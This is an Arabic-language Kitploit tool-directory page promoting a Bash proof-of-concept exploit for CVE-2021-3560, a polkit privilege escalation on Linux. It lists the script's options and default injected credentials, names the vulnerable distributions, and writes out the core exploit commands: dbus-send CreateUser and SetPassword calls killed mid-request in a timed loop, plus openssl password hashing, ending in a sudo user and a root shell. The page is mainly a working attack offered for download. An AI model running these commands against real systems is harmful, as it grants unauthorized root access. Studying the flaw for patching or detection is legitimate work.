Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation — إثبات المفهوم التلقائي Bash لـ CVE-2021-3560 لتصعيد الامتيازات في polkit. يستغل هجوم توقيت dbus لحقن مستخدم sudo والحصول على شل الجذر على توزيعات لينكس الضعيفة. | Kitploit
أدوات/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالمصادقة
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

إثبات المفهوم التلقائي Bash لـ CVE-2021-3560 لتصعيد الامتيازات في polkit. يستغل هجوم توقيت dbus لحقن مستخدم sudo والحصول على شل الجذر على توزيعات لينكس الضعيفة.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
12451منذ 3 سنواتتمت المراجعة من قبل Kitploit

CVE-2021-3560-Polkit-Privilege-Esclation PoC

البحث الأصلي بواسطة Kevin Backhouse

هذا مجرد نص برمجي Bash لإثبات المفهوم، يقوم بأتمتة خطوات الاستغلال المذكورة في مدونة Kevin Backhouse. اقرأ منشوره حول هذه الثغرة: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

الاستخدام

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

أمور يجب ملاحظتها:

  • يعمل هذا الاستغلال فقط على التوزيعات التي تحتوي على accountsservice و gnome-control-center ويجب أن يكون polkit الإصدار 0.113 (أو أحدث) أو 0-105-26 (فرع Debian من polkit).
  • تم اختبار هذا الاستغلال على Ubuntu 20.04، مع إصدار polkit 0-105-26 (فرع Debian من polkit) و Centos 8 مع إصدار polkit 0.115. إذا كنت متأكدًا من أن هدفك معرض للخطر، ولكن فشل دالة التحقق من الاستغلال، استخدم العلم -f=y لتجاوز جميع الفحوصات وإجبار الاستغلال.

كيف يعمل الاستغلال؟

شرح شامل وإثبات المفهوم لاستغلال هذه الثغرة يدويًا مذكور بالتفصيل في مدونة الباحث.

الملخص المختصر لهذا الاستغلال مذكور أدناه:

  • يتطلب هذا الهجوم توقيتًا دقيقًا ويجب تسجيل الدخول عبر SSH (أو جلسة سطر أوامر، حيث لا يمكن فتح التطبيقات الرسومية).
  • يمكن للمهاجم استغلال هذه الثغرة عن طريق إرسال رسالة dbus إلى polkit، ولكن إغلاق الطلب فجأة أثناء معالجة polkit له. ثم يمكن للمهاجم إرسال طلب ثانٍ مع معرف الناقل الفريد للطلب السابق، لتنفيذ الطلب بصلاحية UID 0 المعروف بـ root.
  • توجد هذه الثغرة في polkit لأنه يعامل UID الخاص باتصال بمعرف ناقل لم يعد موجودًا، كطلب من UID 0. وهذا يعني أنه إذا تمكنا من توقيت الهجوم بشكل صحيح وإنهاء طلبنا الأول في اللحظة المناسبة، فيمكننا تقديم الطلب الثاني بصلاحيات UID 0 المعروف بـ root.
  • يتم حساب التوقيت لإنهاء الاتصال على أنه الوقت المطلوب لإرسال رسالة dbus / 2. مشروح بالتفصيل هنا.

ما الذي يفعله هذا النص البرمجي بالفعل؟

كما قلت سابقًا، هذا مجرد نص Bash يقوم بأتمتة إثبات المفهوم الخاص بـ Kevin Backhouse. الأوامر الأساسية هي نفسها؛ لقد قمت فقط بأتمتة بعض الخطوات الأولية (مثل الحصول على التوقيت الصحيح، فحص الثغرة، إدخال بيانات الاعتماد المخصصة، طباعة الألوان الجميلة، إلخ).

إذا تم تشغيل هذا النص البرمجي دون أي معاملات، فإن السلوك الافتراضي له هو كما يلي:

  • التحقق من نوع التوزيعة. [باستخدام ملف /etc/os-release.]
  • التحقق من تثبيت accountservice و gnome-control-center. [في توزيعات rhel/centos/fedora، يستخدم rpm -qa وفي توزيعات debian/ubuntu، يستخدم dpkg -l.]
  • إذا تم العثور على التثبيتات، يتحقق النص البرمجي من إصدار polkit. [0.113 (أو أحدث) لتوزيعات rhel.centos,fedora و 0-105-26 لتوزيعات Debian/Ubuntu]
  • إذا وجد أن إصدار polkit معرض للخطر، يبدأ النص البرمجي في الاستغلال.
  • أولاً، يجد النص البرمجي الوقت المطلوب لإرسال الطلب باستخدام dbus-send عن طريق تنفيذ bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
تنزيل الأداة
  • التوزيعات مثل RHEL 8 و Fedora 21 و Debian testing ("bullseye") و Ubuntu 20.06 تم اكتشاف أنها معرضة للخطر.
  • يمكن العثور على قائمة توافق التوزيعات من مدونة Kevin هنا.
  • يقوم هذا النص البرمجي بحقن مستخدم جديد في مجموعة sudo. إذا نجح الاستغلال، يمكننا تسجيل الدخول إلى الحساب باستخدام su - <username> مع كلمة المرور المقدمة للنص البرمجي، ثم إدخال sudo bash للوصول إلى شل جذر!
  • نظرًا لأن هذا الهجوم يعتمد على توقيت دقيق، عادةً ما تكون هناك حاجة لمحاولات متعددة حتى يعمل هذا الاستغلال.
  • تحذير: لا تقم بتشغيل هذا النص البرمجي أثناء تسجيل الدخول الرسومي!
  • إذا تم تشغيل هذا النص البرمجي في بيئة تسجيل دخول رسومية، فستستمر الحلقة في عرض طلب مصادقة polkit بشكل متكرر. لذا، قم بتشغيل هذا الاستغلال فقط داخل جلسة SSH/NC.
  • إذا حدث ذلك، اضغط على مفتاح Esc لإغلاق نافذة المصادقة و Ctrl+C لإنهاء النص البرمجي بسرعة.
  • ثم يتم حساب الوقت اللازم لإنهاء الطلب ($t) بقسمة الوقت المطلوب لإرسال الطلب على 2. ($t=time-required-to-request/2) [محسوب باستخدام awk]
  • بعد حساب الوقت ($t)، يتم تكرار طلب إدراج اسم المستخدم $username secnigma في الهدف 20 مرة. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • إذا تم إدراج المستخدم بنجاح [يتم اكتشافه باستخدام id secnigma]، يتم إنشاء تجزئة كلمة المرور [باستخدام bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • ثم يتم تنفيذ أمر إدراج تجزئة كلمة المرور لمدة 20 مرة. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!